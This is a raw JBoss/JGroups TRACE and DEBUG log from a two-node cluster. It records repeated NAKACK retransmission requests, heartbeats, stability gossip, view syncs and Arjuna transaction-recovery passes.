2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
mine:   [OM1:1299#6, OM2:1299#0]
other:  [OM1:1299#10, OM2:1299#6]
result: [OM1:1299#6, OM2:1299#0]

2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
